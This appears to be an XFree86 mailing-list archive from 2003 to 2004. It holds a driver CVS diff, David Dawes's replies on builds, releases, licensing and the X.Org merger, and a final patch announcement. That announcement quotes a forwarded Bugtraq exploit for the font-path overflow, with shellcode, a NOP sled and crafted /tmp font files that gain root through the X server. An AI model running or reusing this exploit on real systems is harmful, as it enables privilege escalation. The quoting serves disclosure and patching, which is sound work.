RCS file: /home/x-cvs/xc/lib/GL/mesa/src/drv/r200/r200_screen.c,v
retrieving revision 1.6
diff -u -r1.6 r200_screen.c
--- lib/GL/mesa/src/drv/r200/r200_screen.c 2 Dec 2003 13:02:39 - 1.6
+++ lib/GL/mesa/src/drv/r200/r200_screen.c 18 Dec 2003 21:24:55 -
@@ -39,6 +39,7 @@
#include imports.h
#include context.h
+#define STANDALONE_MMIO
#include r200_screen.h
#include r200_context.h
#include r200_ioctl.h
Index: lib/GL/mesa/src/drv/radeon/radeon_ioctl.c
===
RCS file: /home/x-cvs/xc/lib/GL/mesa/src/drv/radeon/radeon_ioctl.c,v
retrieving revision 1.13
diff -u -r1.13 radeon_ioctl.c
--- lib/GL/mesa/src/drv/radeon/radeon_ioctl.c 2 Dec 2003 13:02:39 - 1.13
+++ lib/GL/mesa/src/drv/radeon/radeon_ioctl.c 18 Dec 2003 21:26:14 -
@@ -46,6 +46,7 @@
#include radeon_tcl.h
#include radeon_sanity.h
+#define STANDALONE_MMIO
#include radeon_macros.h /* for INREG() */
#include vblank.h
@@ -715,12 +716,10 @@
else
ret = -EINVAL;
-#ifndef __alpha__
if ( ret == -EINVAL ) {
frame = INREG( RADEON_LAST_FRAME_REG );
ret = 0;
}
-#endif
if ( ret ) {
fprintf( stderr, %s: drmRadeonGetParam: %d\n, __FUNCTION__, ret );
exit(1);
@@ -1008,12 +1007,10
Re: [XFree86] xfree disband ??????
On Wed, Dec 31, 2003 at 03:58:19PM -0300, Marcel Mourguiart Montt wrote: Is this a joke ??? [30 December 2003] The XFree86 core team has voted to disband itself, effective 31 December 2003. Comments about this can be made on Forum at XFree86 dot org ; registration is not necessary. It is not a joke. The XFree86 core team disbanded itself, not the project. XFree86 remains very much alive, and I expect that the active members of that old team will remain active. I know I will :-) The announcement I posted to the devel list last night can be viewed at: http://www.mail-archive.com/[EMAIL PROTECTED]/msg04639.html David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Bandwidth statement in Monitor section?
On Sat, Jan 03, 2004 at 01:04:11AM -0800, Carl Miller wrote: I feel like this must be a FAQ, as I doubt I'm the only one who is religious about finding out not only the H and V refresh rates my monitors are capable of, but also the maximum video bandwidth they can handle, so please pardon me if this has been asked before. (I searched the list archives and failed to find it if so.) It isn't a FAQ because it's pretty much a non-issue. What happened to the Bandwidth directive in the Monitor section in the XF86Config file for version 4? How is one supposed to tell the server not to drive the monitor at greater than a certain maximum dot clock, regardless of whether the mode in question meets the specified HorizSync and VertRefresh ranges, in a v4 XF86Config file? It was dropped as misleading and not neccessary in most cases. Do you have any specific (real) examples of modes and monitors where a separate dot clock limit would make a difference? David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] XFree86 4.4 release...?
On Wed, Jan 07, 2004 at 09:03:08PM +0100, The NeverGone wrote: Hy... ! When will be released the new version of xfree8 (Xfree86 4.4) ...? The second 4.4 release candidate came out a few weeks ago. We still have a steady stream of bug reports coming in, and a lot more testing going on. The new release should be ready once that all settles down. And hardware-based transparency...? A future release :-) David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: FW: [XFree86] X 4.3.99.902 Compile error
On Fri, Jan 09, 2004 at 08:21:24AM -0500, Wise, Jeremey wrote: Help please - failing to understand why SuSE has these problems but Fedora and Knoppix do not. Issue is I have to use SuSE as our companies technical contact for SuSE. THanks, On Tue, 2004-01-06 at 15:24, Wise, Jeremey wrote: Thanks for the update. That was the fix for that error. Now a new one. SnIP)*** xcursorgen.c:262: warning: redundant redeclaration of 'png_destroy_read_structure' in the same scope xcursorgen.c:181: warning: previous declaration of 'png_destory_read_struct' make[4] *** [xcursorgen.o] Error 1 make[4] Leaving directory '/home/wisej/XFreeUpdate/xc/programs/xcursorgen' make[3]: *** [all] Error 2 make[3]: Leaving directory '/home/wisej/XFreeUpdate/xc/programs' ... Suggestions? I don't think you have included all of the error messages, either here or below, because they all look like noise that is a side-effect of the real problem. Most likely you don't have the necessary libpng devel package installed, so the png data types and function prototypes are missing. Either install it, or add a line to xc/config/cf/host.def to tell the build that you don't have it: #define HasLibpng NO David -- David Dawes X-Oz Technologies www.XFree86.org/~dawes www.x-oz.com xcursorgen.c:252: error: `height' undeclared here (not in a function) xcursorgen.c:252: warning: initialization makes integer from pointer without a cast xcursorgen.c:252: error: initializer element is not constant xcursorgen.c:252: error: ISO C forbids data definition with no type or storage class xcursorgen.c:254: error: parse error before for xcursorgen.c:257: warning: type defaults to `int' in declaration of `png_read_image' xcursorgen.c:257: warning: parameter names (without types) in function declaration xcursorgen.c:257: error: ISO C forbids data definition with no type or storage class xcursorgen.c:258: warning: type defaults to `int' in declaration of `png_read_end' xcursorgen.c:258: warning: parameter names (without types) in function declaration xcursorgen.c:258: error: ISO C forbids data definition with no type or storage class xcursorgen.c:260: warning: type defaults to `int' in declaration of `free' xcursorgen.c:260: warning: parameter names (without types) in function declaration xcursorgen.c:260: error: conflicting types for `free' /usr/include/stdlib.h:569: error: previous declaration of `free' xcursorgen.c:260: warning: redundant redeclaration of `free' in same scope /usr/include/stdlib.h:569: warning: previous declaration of `free' xcursorgen.c:260: error: ISO C forbids data definition with no type or storage class xcursorgen.c:261: warning: type defaults to `int' in declaration of `fclose' xcursorgen.c:261: warning: parameter names (without types) in function declaration xcursorgen.c:261: error: conflicting types for `fclose' /usr/include/stdio.h:208: error: previous declaration of `fclose' xcursorgen.c:261: warning: redundant redeclaration of `fclose' in same scope /usr/include/stdio.h:208: warning: previous declaration of `fclose' xcursorgen.c:261: error: ISO C forbids data definition with no type or storage class xcursorgen.c:262: error: parse error before '' token xcursorgen.c:141: warning: `premultiply_data' defined but not used make[4]: *** [xcursorgen.o] Error 1 make[4]: Leaving directory `/home/wisej/XFreeUpdate/xc/programs/xcursorgen' make[3]: *** [all] Error 2 make[3]: Leaving directory `/home/wisej/XFreeUpdate/xc/programs' make[2]: *** [all] Error 2 make[2]: Leaving directory `/home/wisej/XFreeUpdate/xc' make[1]: *** [World] Error 2 make[1]: Leaving directory `/home/wisej/XFreeUpdate/xc' make: *** [World] Error 2 wizej:/home/wisej/XFreeUpdate/xc # ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] 4.4rc2 comparedmto 4.3.0 (as in Mandrake 9.2)
On Tue, Jan 13, 2004 at 10:35:01PM +0100, manu wrote: Hi all, I just made a x11perfcomp of 4.4rc2 (actually CVS of 2004/01/09 IIRC). Here are the results (I also put the logs). But it seems that 4.4rc2 is not really better (performances speaking) than 4.3.0. That is what I would expect for most cases: 2D performance should be about the same for most drivers. Test has been done on a Compaq Presario 713EA (laptop), gfx is TwisterK (proSavage). No WM, crude X server and x11perf, and hopefully nothing else to disturb the tests (no cron, network...). Bye Manu PS : I plan to do the same for a radeon 9200, please tell me if you really need all tests, I'd prefer only to do the necessary ones ;-) Running xtest would be useful, both as a correctness test and a robustness test. I have already found and fixed several problems with the i810 support by doing this, and I'm still looking into some possible issues with a couple of other drivers. It is a good idea to do test runs at different depths and root window sizes. Also, a test run with a software-only driver (like vesa, or against Xvfb, or with the NoAccel option enabled) can provide a good reference run to compare against. The xtest source can be checked out from the XFree86 CVS repository (the module is test), or a source tarball can be downloaded from ftp://ftp.xfree86.org/pub/XFree86/xtest/. The easiest way to build and run it is to use the build.sh and run.sh scripts in the test/xsuite directory. People who have hardware that supports DRI could also look at GL performance and correct testing. Maybe someone else can post links to tools that are useful for that. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Cygwin-ix86 not found in XFree86 4.3.0 release...
On Tue, Jan 20, 2004 at 04:29:18PM -0600, Trinh, Ngoc Ngoc wrote: Hello XFree86 Supporter, Using the command sh Xinstall_sh -check, I find out my machine using Cygwin-ix86 as its OS. Do you support Cygwin-ix86 in 4.3.0 release?. If the Cygwin-ix86 will be supported in the next version, do you know when it is released? Cygwin binaries are available for the second 4.4.0 release candidate. See ftp://ftp.xfree86.org/pub/XFree86/snapshots/4.3.99.902/. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
[XFree86] XFree86 and X.Org
There are various news items going around claiming that X.Org and The XFree86 Project have joined together as a single group. This is 100% untrue. The XFree86 Project remains as an independent organisation, both legally and operationally, and has not even considered combining with X.Org, let alone agreed to such a merge. See http://www.xfree86.org/#nomerge for the rebuttal. David -- David Dawes President The XFree86 Project, Inc www.XFree86.org ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
[XFree86] Announcement: Modification to the base XFree86(TM) license.
Announcement: Modification to the base XFree86(TM) license. After a thorough re-examination of the XFree86(TM) license and reviewing how it fits in with the Project's long-stated licensing philosophy (You can do what you like with the code except claim that you wrote it.), The XFree86 Project, Inc. has made some changes to its base license. This license review was prompted by a desire to ensure that XFree86 and its contributors are receiving due credit for their work. The text of the modified license can be found at http://www.xfree86.org/legal/licenses.html. The purpose of these changes is to strengthen the except claim you wrote it clause of the Project's licensing philosophy regarding binary distributions of XFree86. While the original license covered this adequately for source code redistribution, it has always been lacking where binary redistribution was concerned. This modified license falls easily within the long-standing XFree86 licensing policy, and so there has been no change to the classes of licenses acceptable for code contributed to XFree86. In fact, some contributions to XFree86 were covered by a similar license already. Contributors to XFree86 remain free to retain copyright on the code they contribute, and can also choose the license for their code within the long-standing XFree86 licensing policy. The license change applies to the base XFree86 license, and to source files that explicitly carry a copyright notice in the name of The XFree86 Project, Inc. Copyrights and licenses in the names of others will not be affected by this change. Furthermore, only a subset of such files with an explicit copyright notice in the Project's name will initially carry the modified license, which is the core XFree86 components, and the source files where there is no explicit author list. The license in the remaining files with an XFree86 copyright will only be changed with permission from the listed authors. The license change will be fully effective as of the 4.4.0 release. The initial draft of the changes will be included in 4.4.0 RC3 (4.3.99.903). A source diff showing the initial draft of the changes is being made available for review with this announcement, and can be found at http://www.xfree86.org/license-200401.diff.gz. All XFree86 contributors are invited to review the changes, and notify us of errors and omissions so that they can be corrected before the 4.4.0 release. Such notifications, as well as comments about the licensing changes should be directed to the [EMAIL PROTECTED] list. XFree86 contributors are also encouraged to review the license change, and let us know if they wish to make similar changes to licenses in their name. * XFree86 is a trademark of The XFree86 Project, Inc., and is pending registration. -- David Dawes President The XFree86 Project, Inc www.XFree86.org ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] TWM patches
On Sat, Feb 07, 2004 at 11:35:53AM +0100, Alexander Pohoyda wrote: Hi, Would somebody please have a look at my TWM patches? http://bugs.xfree86.org/show_bug.cgi?id=968 XPM picture format support for icons. http://bugs.xfree86.org/show_bug.cgi?id=1078 Function to change window/icon titles. http://bugs.xfree86.org/show_bug.cgi?id=1124 IconMaxWidth parameter to limit the width of the icon window (Mozilla tends to have very long titles) These all are small enhancements, but I'd like to know if they have any chance to be accepted. Yes, I've already looked at them and it's great to see some work on twm. Being enhancements, they'll go in after 4.4.0. David -- David Dawes developer/release engineer The XFree86 Project www.XFree86.org/~dawes ___ XFree86 mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/xfree86
Re: [XFree86] Fwd: XFree86 vulnerability exploit
Patches for this and related vulnerabilities have been committed
to all of the release branches of the XFree86 CVS repository, and
to the trunk. A source patch relative to 4.3.0.1 can be found at
ftp://ftp.xfree86.org/pub/XFree86/4.3.0/fixes/fontfile.diff.
Once things have settled, I'm planning to add snapshot tags to each
branch. This will give a set of definite version numbers where this
is fixed.
David
--
http://www.XFree86.org/~dawes
On Thu, Feb 12, 2004 at 04:50:51PM -0500, Scott Gifford wrote:
This was posted on Bugtraq earlier today, and I thought it might be of
interest here.
From: Bender [EMAIL PROTECTED]
Subject: XFree86 vulnerability exploit
To: [EMAIL PROTECTED]
Date: Wed, 11 Feb 2004 11:09:00 +
Hello
Below you can find a exploit for latest bug in XFree86 sofware.
Tested on some versions of RedHat Linux (mainly 7.0).
regards
Bender
/* For educational purposes only*/
/* Brought to you by [EMAIL PROTECTED] 11.10.2004 */
#include fcntl.h
#define NOPNUM 8000
#define ADRNUM 1058
/* shellcode from LSD */
char setuidcode[]= /* 8 bytes*/
\x33\xc0 /* xorl%eax,%eax */
\x31\xdb /* xorl%ebx,%ebx */
\xb0\x17 /* movb$0x17,%al */
\xcd\x80 /* int $0x80 */
;
char shellcode[]= /* 24 bytes */
\x31\xc0 /* xorl%eax,%eax */
\x50 /* pushl %eax */
\x68//id /* pushl $0x68732f2f*/
\x68/tmp /* pushl $0x6e69622f*/
\x89\xe3 /* movl%esp,%ebx */
\x50 /* pushl %eax */
\x53 /* pushl %ebx */
\x89\xe1 /* movl%esp,%ecx */
\x99 /* cdql */
\xb0\x0b /* movb$0x0b,%al */
\xcd\x80 /* int $0x80 */
;
char jump[]=
\x8b\xc4/* movl %esp,%eax */
\xc3/* ret*/
;
main(int argc,char **argv){
char buffer[2],adr[4],pch[4],*b,*envp[4];
int i,fd;
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+16000;
envp[0]=buffer[2000];
envp[1]=0;
printf(adr: 0x%x\n,adr+12000);
b=buffer;
strcpy(buffer,1\n);
strcat(buffer,.pcf
--fixed-small-a-semicondensed--1-1-1-1-a-1-iso-1\n);
fd=open(/tmp/fonts.dir,O_CREAT|O_WRONLY,0666);
write(fd,buffer,strlen(buffer));
for(i=0;iADRNUM;i++) *b++=adr[i%4];
*b++='\n';
fd=open(/tmp/fonts.alias,O_CREAT|O_WRONLY,0666);
write(fd,buffer,strlen(buffer));
close(fd);
b=buffer[2000];
for(i=0;iNOPNUM-strlen(setuidcode)-strlen(setuidcode)-strlen(shellcode);i++)
*b++=0x90;
for(i=0;istrlen(setuidcode);i++) *b++=setuidcode[i];
for(i=0;istrlen(shellcode);i++) *b++=shellcode[i];
*b=0;
execle(/usr/bin/X11/X,X,:0,-fp,/tmp,0,envp);
}
--
[EMAIL PROTECTED]
SDF Public Access UNIX System - http://sdf.lonestar.org
___
XFree86 mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/xfree86
___
XFree86 mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/xfree86
